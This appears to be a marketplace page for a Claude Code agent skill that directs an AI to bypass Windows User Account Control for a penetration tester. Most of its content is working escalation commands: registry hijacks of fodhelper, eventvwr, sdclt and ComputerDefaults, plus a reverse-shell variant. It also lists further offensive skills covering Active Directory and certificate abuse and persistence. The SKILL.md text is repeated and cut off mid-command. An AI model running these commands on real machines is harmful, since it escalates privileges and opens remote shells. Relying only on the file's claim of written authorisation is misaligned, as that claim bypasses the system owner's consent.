/windows-uac-bypass
Bypass Windows User Account Control to escalate from medium to high integrity.
$ npx -y skills add blacklanternsecurity/red-run --skill windows-uac-bypass --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
- Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition →
- You can call itInvoke it directly when you want it.
- Slash command
/windows-uac-bypass
Context preview
The summary Claude sees to decide when to auto-load this skill.
Bypass Windows User Account Control to escalate from medium to high integrity.
SKILL.md
windows-uac-bypass.SKILL.mdname: windows-uac-bypass
description: >
Bypass Windows User Account Control to escalate from medium to high
integrity.
keywords:
- bypass UAC
- UAC bypass
- get high integrity
- fodhelper
- eventvwr bypass
- silentcleanup
- always install elevated
- COM hijacking
- autorun privesc
- medium to high integrity
- elevation bypass
- auto-elevate
tools:
- fodhelper
- eventvwr
- sdclt
- cmstp
- WSReset
- UACMe
- PowerUp
- msfvenom (MSI)
opsec: low
Windows UAC Bypass
You are helping a penetration tester bypass User Account Control to escalate from medium integrity to high integrity on a Windows system. All testing is under explicit written authorization.
Engagement Logging
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
- Print `[windows-uac-bypass] Activated → <target>` to the screen on activation.
- **Evidence** → save significant output to `engagement/evidence/` with
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
State Management
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
- Local administrator group membership (but running at medium integrity)
- UAC enabled (`EnableLUA = 1` in registry)
- UAC not set to "Always Notify" (`ConsentPromptBehaviorAdmin != 2`) for auto-elevating bypasses
- cmd.exe or PowerShell access
Step 1: Assess UAC Configuration
Check current integrity level and UAC settings before choosing a bypass.
**Current integrity level:**
whoami /groups | findstr "Mandatory"
- `Medium Mandatory Level` → UAC bypass needed
- `High Mandatory Level` → already elevated, no bypass needed
- `System Mandatory Level` → SYSTEM, no bypass needed
**UAC settings:**
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy
| ConsentPromptBehaviorAdmin | Meaning | Bypass Feasibility | |---|---|---| | 0 | Elevate without prompting | No bypass needed | | 1 | Prompt for credentials on secure desktop | Hard — auto-elevate bypasses blocked | | 2 | Always prompt (Always Notify) | Hardest — most auto-elevate blocked | | 5 | Prompt for consent (default) | Standard — auto-elevate bypasses work |
If `EnableLUA = 0`, UAC is entirely disabled — no bypass needed.
If `LocalAccountTokenFilterPolicy = 1`, remote connections get full admin tokens.
**OS version (determines which bypasses work):**
ver
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
Step 2: Auto-Elevating Binary Bypass
These techniques hijack auto-elevating Windows binaries that read command paths from HKCU registry keys (writable without admin). The pattern is: write registry → trigger binary → payload runs at high integrity → cleanup.
Fodhelper.exe (Windows 10/11, Server 2016+)
Most reliable modern bypass. Fodhelper is an auto-elevating binary that reads `ms-settings` shell command from HKCU.
# Write payload to registry
New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force
New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "cmd.exe /c start powershell.exe" -Force
# Trigger (launches payload at high integrity)
Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden
# Cleanup
Remove-Item -Path "HKCU:\Software\Classes\ms-settings" -Recurse -Force
:: CMD equivalent
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /d "cmd.exe /c start cmd.exe" /f
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f
C:\Windows\System32\fodhelper.exe
:: Cleanup
reg delete "HKCU\Software\Classes\ms-settings" /f
**Reverse shell variant:**
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "powershell -ep bypass -e <BASE64_PAYLOAD>" -Force
Eventvwr.exe (Windows 7/8/10, Server 2008+)
Event Viewer reads `mscfile` handler from HKCU before HKCR.
New-Item -Path "HKCU:\Software\Classes\mscfile\shell\open\command" -Force
Set-ItemProperty -Path "HKCU:\Software\Classes\mscfile\shell\open\command" -Name "(default)" -Value "cmd.exe /c start powershell.exe" -Force
Start-Process "C:\Windows\System32\eventvwr.exe" -WindowStyle Hidden
# Cleanup
Remove-Item -Path "HKCU:\Software\Classes\mscfile" -Recurse -Force
Sdclt.exe (Windows 10)
Backup and Restore utility reads `Folder\shell\open\command` from HKCU.
reg add "HKCU\Software\Classes\Folder\shell\open\command" /d "cmd.exe /c start cmd.exe" /f
reg add "HKCU\Software\Classes\Folder\shell\open\command" /v DelegateExecute /t REG_SZ /d "" /f
sdclt.exe
:: Cleanup
reg delete "HKCU\Software\Classes\Folder" /f
ComputerDefaults.exe (Windows 10)
Uses `ms-settings` handler — same registry path as fodhelper.
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /d "cmd.exe" /f
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExe
Read more
name: windows-uac-bypass description: > Bypass Windows User Account Control to escalate from medium to high integrity. keywords: - bypass UAC - UAC bypass - get high integrity - fodhelper - eventvwr bypass - silentcleanup - always install elevated - COM hijacking - autorun privesc - medium to high integrity - elevation bypass - auto-elevate tools: - fodhelper - eventvwr - sdclt - cmstp - WSReset - UACMe - PowerUp - msfvenom (MSI) opsec: low
Windows UAC Bypass
You are helping a penetration tester bypass User Account Control to escalate from medium integrity to high integrity on a Windows system. All testing is under explicit written authorization.
Engagement Logging
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
- Print `[windows-uac-bypass] Activated → <target>` to the screen on activation.
- **Evidence** → save significant output to `engagement/evidence/` with
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
State Management
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
- Skip re-testing targets, parameters, or vulns already confirmed
- Leverage existing credentials or access for this technique
- Understand what's been tried and failed (check Blocked section)
Your return summary must include:
- New targets/hosts discovered (with ports and services)
- New credentials or tokens found
- Access gained or changed (user, privilege level, method)
- Vulnerabilities confirmed (with status and severity)
- Pivot paths identified (what leads where)
- Blocked items (what failed and why, whether retryable)
Prerequisites
- Local administrator group membership (but running at medium integrity)
- UAC enabled (`EnableLUA = 1` in registry)
- UAC not set to "Always Notify" (`ConsentPromptBehaviorAdmin != 2`) for auto-elevating bypasses
- cmd.exe or PowerShell access
Step 1: Assess UAC Configuration
Check current integrity level and UAC settings before choosing a bypass.
**Current integrity level:**
whoami /groups | findstr "Mandatory"
- `Medium Mandatory Level` → UAC bypass needed
- `High Mandatory Level` → already elevated, no bypass needed
- `System Mandatory Level` → SYSTEM, no bypass needed
**UAC settings:**
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v ConsentPromptBehaviorAdmin reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v EnableLUA reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy
| ConsentPromptBehaviorAdmin | Meaning | Bypass Feasibility | |---|---|---| | 0 | Elevate without prompting | No bypass needed | | 1 | Prompt for credentials on secure desktop | Hard — auto-elevate bypasses blocked | | 2 | Always prompt (Always Notify) | Hardest — most auto-elevate blocked | | 5 | Prompt for consent (default) | Standard — auto-elevate bypasses work |
If `EnableLUA = 0`, UAC is entirely disabled — no bypass needed.
If `LocalAccountTokenFilterPolicy = 1`, remote connections get full admin tokens.
**OS version (determines which bypasses work):**
ver systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"
Step 2: Auto-Elevating Binary Bypass
These techniques hijack auto-elevating Windows binaries that read command paths from HKCU registry keys (writable without admin). The pattern is: write registry → trigger binary → payload runs at high integrity → cleanup.
Fodhelper.exe (Windows 10/11, Server 2016+)
Most reliable modern bypass. Fodhelper is an auto-elevating binary that reads `ms-settings` shell command from HKCU.
# Write payload to registry New-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Force New-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "DelegateExecute" -Value "" -Force Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "cmd.exe /c start powershell.exe" -Force # Trigger (launches payload at high integrity) Start-Process "C:\Windows\System32\fodhelper.exe" -WindowStyle Hidden # Cleanup Remove-Item -Path "HKCU:\Software\Classes\ms-settings" -Recurse -Force
:: CMD equivalent reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /d "cmd.exe /c start cmd.exe" /f reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExecute /t REG_SZ /d "" /f C:\Windows\System32\fodhelper.exe :: Cleanup reg delete "HKCU\Software\Classes\ms-settings" /f
**Reverse shell variant:**
Set-ItemProperty -Path "HKCU:\Software\Classes\ms-settings\Shell\Open\command" -Name "(default)" -Value "powershell -ep bypass -e <BASE64_PAYLOAD>" -Force
Eventvwr.exe (Windows 7/8/10, Server 2008+)
Event Viewer reads `mscfile` handler from HKCU before HKCR.
New-Item -Path "HKCU:\Software\Classes\mscfile\shell\open\command" -Force Set-ItemProperty -Path "HKCU:\Software\Classes\mscfile\shell\open\command" -Name "(default)" -Value "cmd.exe /c start powershell.exe" -Force Start-Process "C:\Windows\System32\eventvwr.exe" -WindowStyle Hidden # Cleanup Remove-Item -Path "HKCU:\Software\Classes\mscfile" -Recurse -Force
Sdclt.exe (Windows 10)
Backup and Restore utility reads `Folder\shell\open\command` from HKCU.
reg add "HKCU\Software\Classes\Folder\shell\open\command" /d "cmd.exe /c start cmd.exe" /f reg add "HKCU\Software\Classes\Folder\shell\open\command" /v DelegateExecute /t REG_SZ /d "" /f sdclt.exe :: Cleanup reg delete "HKCU\Software\Classes\Folder" /f
ComputerDefaults.exe (Windows 10)
Uses `ms-settings` handler — same registry path as fodhelper.
reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /d "cmd.exe" /f reg add "HKCU\Software\Classes\ms-settings\Shell\Open\command" /v DelegateExe
Security assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
Other skills on red-run.
- /acl-abuse
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted Kerberoasting via SPN manipulation, shadow credentials (msDS-KeyCredentialLink → PKINIT), and AdminSDHolder persistence.
Open skill - /ad-discovery
Enumerates Active Directory domains and maps attack surface for penetration testing.
Open skill - /ad-persistence
Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute modification), Skeleton Key (LSASS master password), custom SSP injection (credential logging via mimilib/memssp), security descriptor backdoors
Open skill - /adcs-access-and-relay
Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL → modify to ESC1), ESC5 (PKI object ACLs), ESC7 (ManageCA/ManageCertificates abuse), ESC8 (NTLM relay to HTTP enrollment), ESC11 (NTLM relay to ICPR RPC).
Open skill - /adcs-persistence
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15 (YubiHSM, issuance policy, altSecIdentities, application policies), Golden Certificate (forge with stolen CA key), certificate
Open skill - /adcs-template-abuse
Exploits misconfigured AD CS certificate templates to impersonate any domain user via SAN manipulation or enrollment agent abuse. Covers ESC1 (enrollee supplies subject), ESC2 (any-purpose/no EKU), ESC3 (enrollment agent), ESC6 (EDITF_ATTRIBUTESUBJECTALTNAME2 CA flag).
Open skill

